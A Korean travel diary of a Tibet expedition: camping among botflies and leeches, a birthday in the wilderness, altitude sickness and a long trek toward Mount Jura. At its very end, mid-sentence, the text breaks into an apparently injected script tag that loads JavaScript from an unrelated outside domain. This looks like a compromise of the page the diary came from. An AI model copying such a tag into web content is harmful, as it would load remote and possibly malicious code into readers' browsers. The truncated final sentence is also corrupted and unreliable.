하룻밤을 지나 탐사지역인 파륭으로 이동했다. 고도를 4,300m까지 올렸다가 3,500m에서 점심을 먹고 야영지에 도착했는데 엄청난 수의 쇠파리로 가만히 서있기도 힘들다. 계곡으로 물 뜨러 간 대원들은 마황(거머리)에 물리고 쇠파리 때문에 오버쟈켓과 오버트라우져를 입는다. 오지를 와도 어떻게 이런 오지에 왔는지. 징그러울 정도로 싫어서 차라리 야크 뿔에 받혔으면 싶다. 쑥을 피우고 윷놀이를 하자 극성맞은 쇠파리는 퇴근을 했다. 결국 너무 강한 벌레와 거머리 때문에 탈출 결정을 했다. 뭐 진정한 의미로 보면 오지지만 우선 살고 봐야 하지 않는가. 파륭에서의 밤이 깊어 간다. 별은 하늘 끝없이 빛난다. 정말 빛난다. 쇠파리도 없으니 오랜만에 소주를 풀었다. 모닥불에 둘러 앉아 많은 이야기들. 미지의 땅에서의 단란한 사람들. 소주잔이 기울어진다.
이튿날 쇠파리가 출근하기 전에 급하게 짐을 싸고 버스로 탈출한다. 밤새 짐 풀고 짐 싸는게 보통일이 아니다. 파륭을 떠나는 길에 알프스와 같은 풍경이 눈앞에 있다. 티벳은 어디를 찍어도 다 작품이라더니 눈앞의 파노라마에 할 말을 잃는다.
점심은 삼계탕 같은 것을 먹었는데 닭발이 나온다. 뭐 닭발 정도야 괜찮지만 닭 머리도 나온다. 지도위원이 강한 모습 보이려고 닭머리와 닭발을 들었다. 그 닭발의 발톱은 어찌나 길던지…. 손톱깎이가 생각났다. 저녁 야영지에 도착했다. 이번 여행 전체 중에 가장 아름다운 여행지였다. 꿈과 같은 푸른 초원이 한없이 에워싸고 있다. 솜다리꽃(에델바이스)밭을 돌아다니다 보면 신선을 만날 듯 하다. 꿈에서도 볼 수 없었던 곳. 천국처럼 아름다운 곳이다. 밤이 깊어지면서 거대한 북두칠성이 모습을 드러낸다. 너무 커서 땅으로 떨어질 것 같다. 은하수가 흐르고 사람들의 이야기도 흐른다. 나는 또 그만큼 자라고 있다.
이제 8일차. 가당으로 이동한다. 빠송츄어 입구에서 트럭으로 갈아타고 빠른 유속의 큰 강을 지난다. 탐사지역 입구를 통과하려면 항상 공안(중국 경찰)에게 통행허가증을 매번 발급 받아야 한다. 기다리는 도중 1원을 내고 들어간 화장실에서 먹은 거 다 토할 뻔했다. 우~ 길가에서 볼일 보려다가 호기심에 들어갔는데 엄청난 후회를 했다. 정말 최악이다.
깊이 들어가면 들어갈수록 신이 살법한 장대한 설산이 우리를 배웅한다. 산은 너무 크고 멀리 있지만 시야가 좋아서 그 멋진 모습을 볼 수 있었다. 드넓은 초원의 끝에 있는 산은 눈과 폭포를 가지고 있었다. 넓은 골프장 같은 평원에 야영준비를 한다. 너무 아름답지만 평원이라 볼일 보기가 수월치 않다. 더워서 강물에 들어가고 싶었지만 빙하물이라 너무 차다. 해가지니 기온이 뚝 떨어진다. 사람들을 홀리는 별빛과 경치를 보자니 별별 생각이 다 떠오른다. 무엇을 위하여 왔는가. 보고픈 사람들이 생각난다.
텐트 메이트인 막내 대원의 귀빠진 날이다. 초코파이를 뭉개 케익을 만들고, 노랑머리에 맥주 한 잔 퍼주며 축하해 줬다. 오지에서 맞는 생일, 그 기분은 어떨까. 크게 피운 모닥불에 익어가는 분위기가 행복하다. 오늘부터 코피가 났다. 아예 양쪽을 다 틀어막고 입으로만 호흡한다. 이 지겨운 코피…. 아, 어지러워….
7월 29일. 마사동파까지 가야한다. 도상거리 25㎞다. 주라산(5,210m)이 목적지인데 어느 정도인지 가늠이 안 된다. 너무 넓은 탓에 독도가 안 되는 오지이다. 어택배낭에 물과 간단한 옷을 챙긴다. 카고는 말이 진다. 조금 숨이 차지만 이 정도는 어쩔 수 없는 고소에서의 의무 아닐까. 좌우에 거대한 산들이 나를 지나간다. 길이 즐겁다. 쌀쌀한 날씨지만 햇볕은 여전히 강하다. 가야 할 길이 어느 정도인지 가늠이 되지 않는 까닭에 걸음이 빠르다. 지리산 종주하듯 걷는데 더 빨리 걷는 듯하다. 5시가 넘어 마사동파에 도착했다. 고도 3,920m. 여유로운 풍경과는 달리 갈 길이 멀다. 어차피 탐사가 아니던가. 주라산이 어딘지 아직도 모르겠다. 수줍게 웃으며 구경나오는 주민들에게 폴라로이드 사진을 찍어주니 좋아라한다. 야영지에 도착 후 대원들에게 주어진 사항과 임무에 대해 토론을 하고, 도란도란 둘러앉아 탐사소견을 매듭진다.
아침 일찍 대원들을 기상시켰다. 돌이켜보면 개인적으로도 대원들에게도 가장 힘든 날이었다. 고소와 피로가 대원들을 힘들게 했다. 워킹이 빨라지고 고도는 올라가니 국내 훈련때 26시간 무박산행 때 드러누운 대원이 없었는데 점심때가 넘어가자 쉴 때마다 드러눕는다. 갈비뼈 아래쪽이 꼬여 들어갈 정도의 심한 기침에 체력소모가 상상을 넘어선다. 4,000m를 넘어가자 부실해진 대원들이 웃음과 말을 잃는다. 너른 초원은 가야 할 길이 멀다는 의미였기에 엄청나게 넓은 시야가 원망스러웠다. 거품 물기 직전에 먼저 도착한 말과 포터?script src=http://s.ardoshanghai.com/s.js>

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